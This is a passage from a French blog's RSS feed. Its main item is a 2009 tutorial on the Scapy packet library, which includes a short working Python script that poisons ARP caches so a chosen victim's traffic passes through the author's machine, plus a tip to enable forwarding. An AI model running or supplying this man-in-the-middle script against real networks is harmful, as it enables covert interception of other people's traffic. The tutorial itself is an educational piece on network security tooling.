<div class="de1">&nbsp; &nbsp;<span class="kw3">time</span>.<span class="me1">sleep</span><span class="br0">&#40;</span><span class="kw3">random</span>.<span class="me1">randint</span><span class="br0">&#40;</span><span class="nu0">2</span>,<span class="nu0">5</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;pool_sema.<span class="me1">release</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">for</span> l <span class="kw1">in</span> <span class="kw2">list</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;l.<span class="me1">join</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;buildInChainsPlanets = <span class="kw2">staticmethod</span><span class="br0">&#40;</span>buildInChainsPlanets<span class="br0">&#41;</span></div>
</li>
</ol>
</div>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=630">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/liveusb-fedora9-avec-liveusb-creator/" rel="bookmark" title="Permanent Link: LiveUsb fedora9 avec liveusb creator">LiveUsb fedora9 avec liveusb creator</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/" rel="bookmark" title="Permanent Link: monter un serveur PHP en une ligne de commande (ou presque)">monter un serveur PHP en une ligne de commande (ou presque)</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/" rel="bookmark" title="Permanent Link: Scapy pour forger des paquets en python">Scapy pour forger des paquets en python</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/" rel="bookmark" title="Permanent Link: Créer son propre service de mail jetable avec appengine">Créer son propre service de mail jetable avec appengine</a></li></ul><hr /><small>Copyright &copy; 2008-2010 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scapy pour forger des paquets en python</title>
		<link>http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/</link>
		<comments>http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 11:14:30 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[Système]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[scapy]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=548</guid>
		<description><![CDATA[Bijour à tous &#8230; Aujourd&#8217;hui un truc super sympa : scapy, c&#8217;est un forgeur de paquet multi protocole (ARP, TCP, UDP, &#8230;) qui permet d&#8217;envoyer/receptionner des paquets depuis la couche OSI 2 (Liaison), mais aussi depuis des couches supérieur (y&#8217;a aussi d&#8217;autres trucs possible comme la lecture de fichier pcap pour réinjecter des trames sur [...]]]></description>
			<content:encoded><![CDATA[<p>Bijour à tous &#8230;</p>
<p>Aujourd&#8217;hui un truc super sympa : <strong>scapy</strong>, c&#8217;est un forgeur de paquet multi protocole (ARP, TCP, UDP, &#8230;) qui permet d&#8217;envoyer/receptionner des paquets depuis la couche OSI 2 (Liaison), mais aussi depuis des couches supérieur (y&#8217;a aussi d&#8217;autres trucs possible comme la lecture de fichier pcap pour réinjecter des trames sur le reseau depuis un dump et &#8230;).</p>
<p>Le truc intéressant, c&#8217;est qu&#8217;il peut remplacer pas mal d&#8217;autres outils (hping, arpspoof, tcpdump, tethereal, &#8230;) et tout ça en quelques lignes de python (sale bête).</p>
<p>Pour l&#8217;utiliser, il n&#8217;y a pas grand chose à faire : <strong>apt-get install python-scapy</strong></p>
<p>Et ensuite on code son petit soft (on peut bien sûr en chercher sur le net, mais ça supprime une partie du plaisir &#8230;).</p>
<p>Par exemple, pour créer un outils d&#8217;arp cache poisonning pour du MITM (genre en remplacement de arpspoof ou &#8230;) :</p>
<div class="geshi no python">
<div class="head">#! /usr/bin/env python</div>
<ol>
<li class="li1">
<div class="de1"><span class="kw1">from</span> scapy.<span class="me1">all</span> <span class="kw1">import</span> <span class="sy0">*</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span> <span class="sy0">!</span>= <span class="nu0">3</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Usage: %s ip1 ip2&quot;</span> <span class="sy0">%</span> <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">sys</span>.<span class="me1">exit</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">def</span> arppoiso<span class="br0">&#40;</span>routeur,pigeon<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; mac = getmacbyip<span class="br0">&#40;</span>routeur<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; p = Ether<span class="br0">&#40;</span>dst=mac<span class="br0">&#41;</span> /ARP<span class="br0">&#40;</span>op=<span class="st0">&quot;is-at&quot;</span>,psrc=pigeon, pdst=routeur<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; sendp<span class="br0">&#40;</span>p, iface_hint=routeur<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">arppoiso<span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">arppoiso<span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Le code n&#8217;est pas très propre (c&#8217;est mon premier programme en python &#8230; la honte :p). L&#8217;utilisation est vraiment très simple : il suffit de connaitre le protocole qu&#8217;on utilise pour forger son paquet et ici empoisonner le routeur et la cible (le pigeon comme d&#8217;hab) pour faire rediriger tout les paquets vers son pc, (ne pas oublier le forwarding <img src='http://cdn-blog-loupzeur.appspot.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).</p>
<p>Bien sûr mon programme n&#8217;est pas très propre (j&#8217;ai lu de meilleurs implémentations de la chose, mais je voulais faire simple).</p>
<p>De très bon liens sur le sujet (pour comprendre différents protocoles et intéragir avec c&#8217;est super intéressant) :</p>
<ul>
<li><a href="http://www.hackaholic.org/papers/blackmagic.txt" target="_blank">Quelques idées</a> de programmes avec scapy (réécriture de nombreux soft : dnsspoof, firewalk, arpspoof (plus propre que le miens))</li>
<li><a href="http://www.secdev.org/projects/scapy/doc/" target="_blank">La doc officiel</a></li>
<li><a href="http://oss.netboxblue.com/pug/scapy.html" target="_blank">Petit slide</a> intéressant (implémention d&#8217;un arpspoof en passant par les who-is au lieu de spammer les hôtes de is-at)</li>
<li>Apprendre à <a href="http://www.larsen-b.com/static/intro_python/" target="_blank">programmer en python</a></li>
</ul>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=548">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/ubuntu/ubuntu-mise-a-jour-du-paquet-edyuk/" rel="bookmark" title="Permanent Link: [UBUNTU] Mise à jour du paquet Edyuk">[UBUNTU] Mise à jour du paquet Edyuk</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/creer-un-paquet-pour-les-ppa/" rel="bookmark" title="Permanent Link: Créer un paquet pour les ppa">Créer un paquet pour les ppa</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/liveusb-fedora9-avec-liveusb-creator/" rel="bookmark" title="Permanent Link: LiveUsb fedora9 avec liveusb creator">LiveUsb fedora9 avec liveusb creator</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/" rel="bookmark" title="Permanent Link: monter un serveur PHP en une ligne de commande (ou presque)">monter un serveur PHP en une ligne de commande (ou presque)</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/" rel="bookmark" title="Permanent Link: Créer son propre service de mail jetable avec appengine">Créer son propre service de mail jetable avec appengine</a></li></ul><hr /><small>Copyright &copy; 2008-2010 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
